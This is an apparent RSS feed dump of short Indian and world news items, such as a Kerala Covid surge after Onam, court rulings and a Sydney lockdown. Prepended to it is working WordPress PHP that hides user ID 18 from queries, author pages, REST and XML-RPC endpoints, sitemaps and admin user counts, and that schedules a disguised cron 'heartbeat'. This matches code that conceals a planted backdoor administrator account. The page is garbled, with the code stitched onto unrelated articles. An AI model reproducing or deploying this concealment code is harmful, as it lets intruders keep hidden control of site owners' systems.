add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Onam Festival Week Causes a Massive Covid Surge, With Kerala Recording a 3-Month High of 24k Cases appeared first on The Edge Media.
]]>On Tuesday, India received 37,642 new cases, the highest single-day total since August 13. According to statistics, Kerala accounted for roughly 65 percent of the Covid total. This comes just a day after Kerala nearly equaled India’s Covid total with 24,733 cases discovered.
The 24,296 cases reported on Tuesday were the most in a single day since the state recorded 28,798 on May 26. This increase in instances follows days of low testing and detections due to Onam.
Kerala reported 17,106 Covid-19 cases and 83 deaths on Onam day, as markets throughout the state reported crowding ahead of the celebration. The test positivity rate in the state was 17.73 percent. The test positivity percentage increased to 18.04 percent on Tuesday, the highest level in recent weeks.
The post The Onam Festival Week Causes a Massive Covid Surge, With Kerala Recording a 3-Month High of 24k Cases appeared first on The Edge Media.
]]>The post “Free Caged Parrot CBI”: Madras High Court’s Big New Order appeared first on The Edge Media.
]]>In its 12-point instructions overhauling the current system, the court said, “This order is an attempt to release the “Caged Parrot (CBI)”.
A “caged parrot” was how the Supreme Court had described the agency during a hearing of the Coalfield allocation cases in 2013. That time, the BJP, which was in the opposition, accused the agency of being controlled by the Congress-led government.
The post “Free Caged Parrot CBI”: Madras High Court’s Big New Order appeared first on The Edge Media.
]]>The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>Sitharaman said that as of 31 March, 2021, there were Rs 1.31 lakh crore in outstanding principles and Rs 37,340 crore in interest yet to be repaid on these oil bonds.
The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>The post The High Court announces that families having only 1 Flat shouldn’t be allowed to own 4-5 cars. appeared first on The Edge Media.
]]>The bench was hearing a public interest litigation (PIL) filed by a Navi Mumbai resident and activist Sandeep Thakur, challenging a government notification that amended the Unified Development Control and Promotion Regulations Rules, permitting developers to reduce car parking space.
Mr Thakur said in his plea that developers do not provide sufficient parking spaces in new apartment colonies, thereby forcing residents to park outside the premises of the housing society.
The post The High Court announces that families having only 1 Flat shouldn’t be allowed to own 4-5 cars. appeared first on The Edge Media.
]]>The post Europe warned to prepare for a temperature of 50 degrees celsius. appeared first on The Edge Media.
]]>Searing temperatures also raise concerns that even higher temperatures are potential in future, possibly even exceeding 50.0 degrees Celsius, the UK’s MET office has warned.Climate change is making heat-related extremes of weather more intense and when we think about those record-breaking temperature the chance of breaking temperature records – or coming close to breaking records – is greatly increased,” said Professor Peter Stott, who is the UK Met Office‘s lead on climate attribution.
The post Europe warned to prepare for a temperature of 50 degrees celsius. appeared first on The Edge Media.
]]>The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The Supreme Court had, in 2019, turned down a plea to accept martial rape as a ground for divorce. The high court gave its ruling while hearing an appeal filed by a husband against a divorce granted by a family court in 2014.
“Treating wife’s body as something owing to husband and committing sexual act against her will is nothing but martial rape. Right to respect for his or her physical and mental integrity encompasses bodily integrity ; any disrespect or violation of bodily integrity is a violation of Individual autonomy…,” the high court said.
The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The post Sydney Tightens lockdown as Australia’s Covid cases rise appeared first on The Edge Media.
]]>111 new cases were recorded in 24 hours in the Sydney western suburbs , the worst affected area where thousands of people are banned from leaving the immediate neighbourhood.
The state also recorded an additional death from the virus , taking the total to three since the start of the year and the national total to 913 since the pandemic began.
More than 1,000 people in the city surrounding the district have since tested positive.
“We are chasing our tail in terms of the cases,” state Chief Health Officer Kerry Chant said at the news conference.
The post Sydney Tightens lockdown as Australia’s Covid cases rise appeared first on The Edge Media.
]]>